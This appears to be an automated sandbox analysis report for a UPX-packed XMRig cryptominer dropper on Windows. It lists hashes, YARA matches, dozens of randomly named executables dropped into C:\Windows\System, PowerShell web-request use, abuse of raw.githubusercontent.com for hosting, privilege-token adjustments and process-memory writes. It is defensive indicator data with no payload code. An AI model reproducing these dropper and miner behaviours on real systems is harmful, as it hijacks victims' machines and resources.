xmrig | e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
05/07/2024, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
Size

3.4MB
MD5

908ee1899fa96bf231007ff611a6e1fe
SHA1

abaaaba144df89810f232936b5670ad5b3b6e93c
SHA256

e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d
SHA512

4489a06ebc83528736374b3e4b37318c58ddbb60a430db0bc7d3197fb74ad6b6b56d8edb7393b81753a3e4dc5a7036c9a06c8b23c1ac77569022fe8889c0fbd6
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWV:7bBeSFkx

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/2360-0-0x00007FF7CA050000-0x00007FF7CA446000-memory.dmp	xmrig
behavioral2/files/0x000c000000023370-6.dat	xmrig
behavioral2/files/0x00070000000233f6-10.dat	xmrig
behavioral2/files/0x00070000000233f7-22.dat	xmrig
behavioral2/files/0x00080000000233fb-48.dat	xmrig
behavioral2/files/0x00070000000233ff-58.dat	xmrig
behavioral2/files/0x00070000000233fd-64.dat	xmrig
behavioral2/files/0x00080000000233fa-82.dat	xmrig
behavioral2/files/0x0007000000023403-89.dat	xmrig
behavioral2/files/0x0007000000023404-102.dat	xmrig
behavioral2/files/0x0007000000023405-113.dat	xmrig
behavioral2/files/0x0007000000023408-124.dat	xmrig
behavioral2/files/0x0007000000023406-130.dat	xmrig
behavioral2/memory/3448-134-0x00007FF7E8280000-0x00007FF7E8676000-memory.dmp	xmrig
behavioral2/memory/1912-136-0x00007FF657B70000-0x00007FF657F66000-memory.dmp	xmrig
behavioral2/memory/3200-139-0x00007FF678DA0000-0x00007FF679196000-memory.dmp	xmrig
behavioral2/memory/4504-142-0x00007FF67A630000-0x00007FF67AA26000-memory.dmp	xmrig
behavioral2/memory/4308-145-0x00007FF7EB4B0000-0x00007FF7EB8A6000-memory.dmp	xmrig
behavioral2/memory/3108-146-0x00007FF730FF0000-0x00007FF7313E6000-memory.dmp	xmrig
behavioral2/memory/1360-144-0x00007FF700B90000-0x00007FF700F86000-memory.dmp	xmrig
behavioral2/memory/1388-143-0x00007FF6EC010000-0x00007FF6EC406000-memory.dmp	xmrig
behavioral2/memory/3004-141-0x00007FF7DF7B0000-0x00007FF7DFBA6000-memory.dmp	xmrig
behavioral2/memory/1064-140-0x00007FF7716C0000-0x00007FF771AB6000-memory.dmp	xmrig
behavioral2/memory/4828-138-0x00007FF75FFC0000-0x00007FF7603B6000-memory.dmp	xmrig
behavioral2/memory/2140-137-0x00007FF629FC0000-0x00007FF62A3B6000-memory.dmp	xmrig
behavioral2/memory/3868-135-0x00007FF6EB450000-0x00007FF6EB846000-memory.dmp	xmrig
behavioral2/memory/4996-133-0x00007FF713DD0000-0x00007FF7141C6000-memory.dmp	xmrig
behavioral2/memory/1920-132-0x00007FF7C4590000-0x00007FF7C4986000-memory.dmp	xmrig
behavioral2/files/0x00090000000233f2-128.dat	xmrig
behavioral2/memory/3464-127-0x00007FF730E70000-0x00007FF731266000-memory.dmp	xmrig
behavioral2/memory/1400-126-0x00007FF6786B0000-0x00007FF678AA6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023407-122.dat	xmrig
behavioral2/memory/3536-117-0x00007FF622BB0000-0x00007FF622FA6000-memory.dmp	xmrig
behavioral2/memory/2216-109-0x00007FF665320000-0x00007FF665716000-memory.dmp	xmrig
behavioral2/files/0x0007000000023401-95.dat	xmrig
behavioral2/files/0x0007000000023402-91.dat	xmrig
behavioral2/memory/3500-90-0x00007FF796F40000-0x00007FF797336000-memory.dmp	xmrig
behavioral2/memory/3456-86-0x00007FF628760000-0x00007FF628B56000-memory.dmp	xmrig
behavioral2/files/0x00070000000233fc-77.dat	xmrig
behavioral2/files/0x00070000000233fe-76.dat	xmrig
behavioral2/files/0x0007000000023400-69.dat	xmrig
behavioral2/files/0x00070000000233f9-62.dat	xmrig
behavioral2/files/0x00070000000233f8-42.dat	xmrig
behavioral2/memory/4412-16-0x00007FF60AED0000-0x00007FF60B2C6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233f5-12.dat	xmrig
behavioral2/files/0x000700000002340b-165.dat	xmrig
behavioral2/files/0x000700000002340c-167.dat	xmrig
behavioral2/files/0x000700000002340e-177.dat	xmrig
behavioral2/files/0x000700000002340f-183.dat	xmrig
behavioral2/files/0x0007000000023410-187.dat	xmrig
behavioral2/files/0x0007000000023412-197.dat	xmrig
behavioral2/files/0x0007000000023411-193.dat	xmrig
behavioral2/memory/2360-1191-0x00007FF7CA050000-0x00007FF7CA446000-memory.dmp	xmrig
behavioral2/files/0x000700000002340d-173.dat	xmrig
behavioral2/memory/860-164-0x00007FF657340000-0x00007FF657736000-memory.dmp	xmrig
behavioral2/files/0x000700000002340a-157.dat	xmrig
behavioral2/memory/1004-156-0x00007FF792E10000-0x00007FF793206000-memory.dmp	xmrig
behavioral2/files/0x0007000000023409-151.dat	xmrig
behavioral2/memory/4412-2191-0x00007FF60AED0000-0x00007FF60B2C6000-memory.dmp	xmrig
behavioral2/memory/3004-2193-0x00007FF7DF7B0000-0x00007FF7DFBA6000-memory.dmp	xmrig
behavioral2/memory/4504-2192-0x00007FF67A630000-0x00007FF67AA26000-memory.dmp	xmrig
behavioral2/memory/3456-2194-0x00007FF628760000-0x00007FF628B56000-memory.dmp	xmrig
behavioral2/memory/3500-2195-0x00007FF796F40000-0x00007FF797336000-memory.dmp	xmrig
behavioral2/memory/3536-2196-0x00007FF622BB0000-0x00007FF622FA6000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4900	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4412	NmEAvdk.exe
3004	lvkaOUI.exe
4504	sLKCNbB.exe
3456	iDKroUN.exe
3500	bERePmv.exe
2216	wAMPVxK.exe
3536	lzjMjkZ.exe
1400	VewLBfB.exe
1388	gAguKDO.exe
3464	zVqeJJy.exe
1920	AJxvear.exe
4996	eQHVTSO.exe
3448	wWfyrbG.exe
3868	CotHVQV.exe
1360	xQsOssS.exe
1912	iQeYCye.exe
4308	qEsKfbl.exe
2140	jRovCYB.exe
4828	dYDoGeE.exe
3200	nVMVjFA.exe
3108	RhIwyCs.exe
1064	rmXBwQW.exe
1004	wnsbciW.exe
860	eqGntvH.exe
5024	hKlfFrT.exe
3572	QgNgWRR.exe
3124	QkxYRhU.exe
4736	CdeGBJJ.exe
3380	WPDSAaV.exe
2876	hAbEkrn.exe
4488	czbusXu.exe
3540	DrnPsyh.exe
4696	TZEPYmU.exe
2052	pruGqsX.exe
4108	PdQbjlQ.exe
4616	VFTdOok.exe
680	rVSlbTg.exe
2340	qmFIoys.exe
3632	WBYZYAs.exe
3616	KrjraDc.exe
548	gufFbwV.exe
364	cQqGLSx.exe
216	ehamnVk.exe
4956	SpLkgFF.exe
3176	uuWMRui.exe
4328	BfhdJyy.exe
1952	zDSZklh.exe
4604	AWVwIJn.exe
4468	VKqkPgS.exe
4560	KgXsuAk.exe
1804	ovyAZKR.exe
3748	NIIPdJl.exe
2128	HAOdfNS.exe
1680	ojCidhY.exe
3076	QDrGlYa.exe
4608	rMeYuTO.exe
1892	VjMuYMt.exe
4896	sxVWlli.exe
4396	WLFzher.exe
2860	BiSoDkj.exe
3316	OYnuiUl.exe
4972	uZZUXyN.exe
4004	jajImMi.exe
1916	vOjixGG.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2360-0-0x00007FF7CA050000-0x00007FF7CA446000-memory.dmp	upx
behavioral2/files/0x000c000000023370-6.dat	upx
behavioral2/files/0x00070000000233f6-10.dat	upx
behavioral2/files/0x00070000000233f7-22.dat	upx
behavioral2/files/0x00080000000233fb-48.dat	upx
behavioral2/files/0x00070000000233ff-58.dat	upx
behavioral2/files/0x00070000000233fd-64.dat	upx
behavioral2/files/0x00080000000233fa-82.dat	upx
behavioral2/files/0x0007000000023403-89.dat	upx
behavioral2/files/0x0007000000023404-102.dat	upx
behavioral2/files/0x0007000000023405-113.dat	upx
behavioral2/files/0x0007000000023408-124.dat	upx
behavioral2/files/0x0007000000023406-130.dat	upx
behavioral2/memory/3448-134-0x00007FF7E8280000-0x00007FF7E8676000-memory.dmp	upx
behavioral2/memory/1912-136-0x00007FF657B70000-0x00007FF657F66000-memory.dmp	upx
behavioral2/memory/3200-139-0x00007FF678DA0000-0x00007FF679196000-memory.dmp	upx
behavioral2/memory/4504-142-0x00007FF67A630000-0x00007FF67AA26000-memory.dmp	upx
behavioral2/memory/4308-145-0x00007FF7EB4B0000-0x00007FF7EB8A6000-memory.dmp	upx
behavioral2/memory/3108-146-0x00007FF730FF0000-0x00007FF7313E6000-memory.dmp	upx
behavioral2/memory/1360-144-0x00007FF700B90000-0x00007FF700F86000-memory.dmp	upx
behavioral2/memory/1388-143-0x00007FF6EC010000-0x00007FF6EC406000-memory.dmp	upx
behavioral2/memory/3004-141-0x00007FF7DF7B0000-0x00007FF7DFBA6000-memory.dmp	upx
behavioral2/memory/1064-140-0x00007FF7716C0000-0x00007FF771AB6000-memory.dmp	upx
behavioral2/memory/4828-138-0x00007FF75FFC0000-0x00007FF7603B6000-memory.dmp	upx
behavioral2/memory/2140-137-0x00007FF629FC0000-0x00007FF62A3B6000-memory.dmp	upx
behavioral2/memory/3868-135-0x00007FF6EB450000-0x00007FF6EB846000-memory.dmp	upx
behavioral2/memory/4996-133-0x00007FF713DD0000-0x00007FF7141C6000-memory.dmp	upx
behavioral2/memory/1920-132-0x00007FF7C4590000-0x00007FF7C4986000-memory.dmp	upx
behavioral2/files/0x00090000000233f2-128.dat	upx
behavioral2/memory/3464-127-0x00007FF730E70000-0x00007FF731266000-memory.dmp	upx
behavioral2/memory/1400-126-0x00007FF6786B0000-0x00007FF678AA6000-memory.dmp	upx
behavioral2/files/0x0007000000023407-122.dat	upx
behavioral2/memory/3536-117-0x00007FF622BB0000-0x00007FF622FA6000-memory.dmp	upx
behavioral2/memory/2216-109-0x00007FF665320000-0x00007FF665716000-memory.dmp	upx
behavioral2/files/0x0007000000023401-95.dat	upx
behavioral2/files/0x0007000000023402-91.dat	upx
behavioral2/memory/3500-90-0x00007FF796F40000-0x00007FF797336000-memory.dmp	upx
behavioral2/memory/3456-86-0x00007FF628760000-0x00007FF628B56000-memory.dmp	upx
behavioral2/files/0x00070000000233fc-77.dat	upx
behavioral2/files/0x00070000000233fe-76.dat	upx
behavioral2/files/0x0007000000023400-69.dat	upx
behavioral2/files/0x00070000000233f9-62.dat	upx
behavioral2/files/0x00070000000233f8-42.dat	upx
behavioral2/memory/4412-16-0x00007FF60AED0000-0x00007FF60B2C6000-memory.dmp	upx
behavioral2/files/0x00070000000233f5-12.dat	upx
behavioral2/files/0x000700000002340b-165.dat	upx
behavioral2/files/0x000700000002340c-167.dat	upx
behavioral2/files/0x000700000002340e-177.dat	upx
behavioral2/files/0x000700000002340f-183.dat	upx
behavioral2/files/0x0007000000023410-187.dat	upx
behavioral2/files/0x0007000000023412-197.dat	upx
behavioral2/files/0x0007000000023411-193.dat	upx
behavioral2/memory/2360-1191-0x00007FF7CA050000-0x00007FF7CA446000-memory.dmp	upx
behavioral2/files/0x000700000002340d-173.dat	upx
behavioral2/memory/860-164-0x00007FF657340000-0x00007FF657736000-memory.dmp	upx
behavioral2/files/0x000700000002340a-157.dat	upx
behavioral2/memory/1004-156-0x00007FF792E10000-0x00007FF793206000-memory.dmp	upx
behavioral2/files/0x0007000000023409-151.dat	upx
behavioral2/memory/4412-2191-0x00007FF60AED0000-0x00007FF60B2C6000-memory.dmp	upx
behavioral2/memory/3004-2193-0x00007FF7DF7B0000-0x00007FF7DFBA6000-memory.dmp	upx
behavioral2/memory/4504-2192-0x00007FF67A630000-0x00007FF67AA26000-memory.dmp	upx
behavioral2/memory/3456-2194-0x00007FF628760000-0x00007FF628B56000-memory.dmp	upx
behavioral2/memory/3500-2195-0x00007FF796F40000-0x00007FF797336000-memory.dmp	upx
behavioral2/memory/3536-2196-0x00007FF622BB0000-0x00007FF622FA6000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\vpqjzEj.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\SabsSlG.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\sNxbxLl.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\SmlKyia.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\UGvMVuI.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\xBYpEaY.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\QKyfqZU.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\WfKmjeH.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\BaZXnUd.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\hQMOwjr.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\wegIfiG.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\QgNgWRR.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\QVoQWus.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\sxVWlli.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\wYKbyqO.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\wLDNuNV.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\YGqzAaQ.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\OxUApKk.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\dDFBmCt.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\nRBAcXm.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\OrHWNYb.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\AoltrVo.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\zAVCmJS.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\yfOUcKG.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\xAHeKZX.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\MVwHphS.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\ubcGRLS.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\aevKbZi.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\KWWSXaC.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\DnmsOqo.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\zkosBBj.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\nImoJzj.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\jkvgzGv.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\cSoxCyz.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\PDnNiGg.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\thHdMVq.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\zjZoLcj.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\mFTuNKW.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\ExffbPy.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\tfuQnco.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\QDLWPHK.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\VlslFsM.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\RgHzlrm.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\IOFZjph.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\iMqvPQi.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\hsNvBWs.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\jJLVSXc.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\HFWQDbL.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\SxScqSz.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\fOQvwxo.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\jjOLqai.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\xQsOssS.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\kfNTzlY.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\nQjfziZ.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\NwDzEiH.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\mjdyakc.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\aDrBUkM.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\KLYhSyJ.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\LzzMPhb.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\niOoxKx.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\fOWUaaJ.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\slDIVoI.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\cVxbSsV.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
File created	C:\Windows\System\omWTqEv.exe	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4900	powershell.exe
4900	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeLockMemoryPrivilege	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 4900	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	81
PID 2360 wrote to memory of 4900	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	81
PID 2360 wrote to memory of 4412	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	82
PID 2360 wrote to memory of 4412	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	82
PID 2360 wrote to memory of 3004	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	83
PID 2360 wrote to memory of 3004	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	83
PID 2360 wrote to memory of 4504	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	84
PID 2360 wrote to memory of 4504	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	84
PID 2360 wrote to memory of 3456	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	85
PID 2360 wrote to memory of 3456	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	85
PID 2360 wrote to memory of 3500	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	86
PID 2360 wrote to memory of 3500	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	86
PID 2360 wrote to memory of 2216	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	87
PID 2360 wrote to memory of 2216	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	87
PID 2360 wrote to memory of 3536	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	88
PID 2360 wrote to memory of 3536	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	88
PID 2360 wrote to memory of 1400	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	89
PID 2360 wrote to memory of 1400	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	89
PID 2360 wrote to memory of 1388	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	90
PID 2360 wrote to memory of 1388	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	90
PID 2360 wrote to memory of 3464	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	91
PID 2360 wrote to memory of 3464	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	91
PID 2360 wrote to memory of 1920	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	92
PID 2360 wrote to memory of 1920	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	92
PID 2360 wrote to memory of 4996	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	93
PID 2360 wrote to memory of 4996	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	93
PID 2360 wrote to memory of 3448	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	94
PID 2360 wrote to memory of 3448	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	94
PID 2360 wrote to memory of 3868	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	95
PID 2360 wrote to memory of 3868	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	95
PID 2360 wrote to memory of 1360	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	96
PID 2360 wrote to memory of 1360	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	96
PID 2360 wrote to memory of 1912	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	97
PID 2360 wrote to memory of 1912	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	97
PID 2360 wrote to memory of 4308	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	98
PID 2360 wrote to memory of 4308	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	98
PID 2360 wrote to memory of 2140	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	99
PID 2360 wrote to memory of 2140	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	99
PID 2360 wrote to memory of 4828	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	100
PID 2360 wrote to memory of 4828	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	100
PID 2360 wrote to memory of 3200	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	101
PID 2360 wrote to memory of 3200	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	101
PID 2360 wrote to memory of 3108	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	102
PID 2360 wrote to memory of 3108	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	102
PID 2360 wrote to memory of 1064	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	103
PID 2360 wrote to memory of 1064	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	103
PID 2360 wrote to memory of 1004	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	104
PID 2360 wrote to memory of 1004	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	104
PID 2360 wrote to memory of 860	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	105
PID 2360 wrote to memory of 860	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	105
PID 2360 wrote to memory of 5024	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	106
PID 2360 wrote to memory of 5024	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	106
PID 2360 wrote to memory of 3572	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	107
PID 2360 wrote to memory of 3572	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	107
PID 2360 wrote to memory of 3124	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	108
PID 2360 wrote to memory of 3124	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	108
PID 2360 wrote to memory of 4736	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	109
PID 2360 wrote to memory of 4736	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	109
PID 2360 wrote to memory of 3380	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	110
